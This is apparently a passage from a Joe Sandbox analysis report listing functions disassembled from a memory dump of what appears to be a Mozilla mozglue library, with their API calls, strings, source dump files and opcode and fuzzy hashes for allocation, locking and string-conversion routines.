Instruction Fuzzy Hash: DC41AF719047469BD300DF29C48056AFBF4FFCA254F604A2DE4A987680DB70E569CBDA

Function 6C696470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 6C68FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?), ref: 6C68FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?), ref: 6C68FFF5
free.MOZGLUE(?,?,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?), ref: 6C69001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?), ref: 6C69002A

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 6e5aa073797d7d876b8773fd94e27cf2afcdcd09d44f6c7b0746d2ffe094adce
Instruction ID: ab8644dd52d9a0ae1aaae7a340cb17cfe20e0a68e28e3f1cbf24ed06b9935492
Opcode Fuzzy Hash: 6e5aa073797d7d876b8773fd94e27cf2afcdcd09d44f6c7b0746d2ffe094adce
Instruction Fuzzy Hash: 5021D8B2B002155BC7189E789C944AFB7BAFB853287250738D525D7780EB719D0186EA

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 6C693DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C65F20E,?), ref: 6C693DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C65F20E,00000000,?), ref: 6C693DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C693E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C693E0E

Part of subcall function 6C68CC00: GetCurrentProcess.KERNEL32(?,?,6C6531A7), ref: 6C68CC0D
Part of subcall function 6C68CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6531A7), ref: 6C68CC16

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction ID: 1eb75ff979cc5475eae7f49dcf4a0ee0aad8e9e8d9996727dab3d755bc266919
Opcode Fuzzy Hash: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction Fuzzy Hash: 9BF0F8B1A002087BDB00AB55EC81DAB376DEB87628F040021FE0957741D636BE6996FF

Function 6C6A2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C6A201B,?,?,?,?,?,?,?,6C6A1F8F,?,?), ref: 6C6A2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A208E
free.MOZGLUE(?,?,?,00000000,?,6C6A201B,?,?,?,?,?,?,?,6C6A1F8F,?,?), ref: 6C6A20A3

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6dd277b58cf9b5c3883181a97c6208a1d114288803089035bfc44cd5977b98ad
Instruction ID: 5e4494a2d2c5870ac6189d322e663b85b734a084fab5b540a58c97cfa2d0de3d
Opcode Fuzzy Hash: 6dd277b58cf9b5c3883181a97c6208a1d114288803089035bfc44cd5977b98ad
Instruction Fuzzy Hash: 1FF090B11006009BC7218F17D88875BB7F9EF8A364F10051AE54A87710CB71A8068B9E

Function 6C6A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6A85D3

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C6A8725

Strings

map/set<T> too long, xrefs: 6C6A8720

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction ID: 70b27cce337b19c255c6b91cde610e625e735871812691eeb71a8baf6980d39e
Opcode Fuzzy Hash: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction Fuzzy Hash: FA515674A006818FE701CF58C184A59FBF1BF4A318F19C19AD8595BB62C375EC46CF96

Function 6C65BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C693CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C664730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

Strings

GetNtLoaderAPI, xrefs: 6C664744

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 78dfa4fb716573518b43c0f1a020c6b746ea867a88cea7b9670a073a242487cd
Instruction ID: 595a1f3882f97951bc1bda5507ffae1b5ff0c44f644422ab8216b1f9724919fd
Opcode Fuzzy Hash: 78dfa4fb716573518b43c0f1a020c6b746ea867a88cea7b9670a073a242487cd
Instruction Fuzzy Hash: 9A0192757082148FDF00AFA7C4D4629BBB9EB8B321F05046AEA05C7700DB70E8018FDA

Function 6C6B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6B6E22
__Init_thread_footer.LIBCMT ref: 6C6B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6B6E1D

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction ID: bcd68a56edc4a956bdd073aa2d8006e056c651a881adc380280f84d7f154e701
Opcode Fuzzy Hash: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction Fuzzy Hash: 2DF02E302492C08BDB008B69C8A1A9173B29303318F080165F80196FA2CB31F627CFAF

Function 6C669E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C669EEF

Strings

NaN, xrefs: 6C669EC1
Infinity, xrefs: 6C669EB7

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction ID: c4194f2a258d45e7e49048328d94766e7d17b0c02063ac6c994417b112666e3a
Opcode Fuzzy Hash: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction Fuzzy Hash: E1F06D71601641CBDB00CF5AD8C5B9033F1B74771DF250A19C9440AF81D7767646CA9F

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Function 6C663850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C6DF860), ref: 6C66385C
ReleaseSRWLockExclusive.KERNEL32(6C6DF860,?), ref: 6C663871

Strings

,ml, xrefs: 6C66387A

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,ml
API String ID: 17069307-2011709430
Opcode ID: 0d0956604974530897a4ba8b7727f651a48ce739f5daf58c3049dd481df3611d
Instruction ID: 00fa472585672111d06e3571410fb36d97cae3e71abd384864b2b2c2593cfef1
Opcode Fuzzy Hash: 0d0956604974530897a4ba8b7727f651a48ce739f5daf58c3049dd481df3611d
Instruction Fuzzy Hash: 4EE0DF31A55A1897C7119F9794415CA7BB8EF4779070A8019F40A17E00C730F1808ACF

Function 6C66BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C66BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C66BEF5

Strings

cryptbase.dll, xrefs: 6C66BEF0

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction ID: 44563a522ee1324380eaf9a3347d73bdea828b5c897ecfb4e6088c6321dae0f1
Opcode Fuzzy Hash: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction Fuzzy Hash: F7D0A731184209E6C7006B528C05B2937749782795F10C020F30544C52C7B0B413DF4D

Function 6C6AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB628

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6AB127,?,?,?,?,?,?,?,?), ref: 6C6AB74D

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction ID: 085effcad87eddf0045659a872f45dad84b52f8dd6c581acd935d8d6010fba1a
Opcode Fuzzy Hash: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction Fuzzy Hash: 2251D071A0121A8FDB14CF98C98076EB7B1FF85308F55852DC85AAB710D771EC06CBA9

Function 6C6ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C69FF2A), ref: 6C6ADFFD

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C69FF2A), ref: 6C6AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C69FF2A), ref: 6C6AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C69FF2A), ref: 6C6AE0FE

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: cabe91f4908b1c6f856e5c9787874f3b5c8f45639306af4e38530e3ed047097a
Instruction ID: e21ff0582001f1c578717a04a0280a70c0edc5aa316f26e7165c00677b0be3f0
Opcode Fuzzy Hash: cabe91f4908b1c6f856e5c9787874f3b5c8f45639306af4e38530e3ed047097a
Instruction Fuzzy Hash: 9441C1B16042168FEB14CFA9C89075A73B2AF46308F14493DD516DB740E732ED26CBAA

Function 6C6A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C6A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C6A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A6F5C

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction ID: 0bc45efbc56a15fb90265375e450124e3aef0bdf4470a3bdb9cd26a8f81ef013
Opcode Fuzzy Hash: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction Fuzzy Hash: 7C31F871A1060A8FDB04CF6CC980AAA73FAFB95304F50413DD41AC7651EF31E95AC794

Function 6C6BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C660A4D), ref: 6C6BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C660A4D), ref: 6C6BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C660A4D), ref: 6C6BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C660A4D), ref: 6C6BB67F

Memory Dump Source

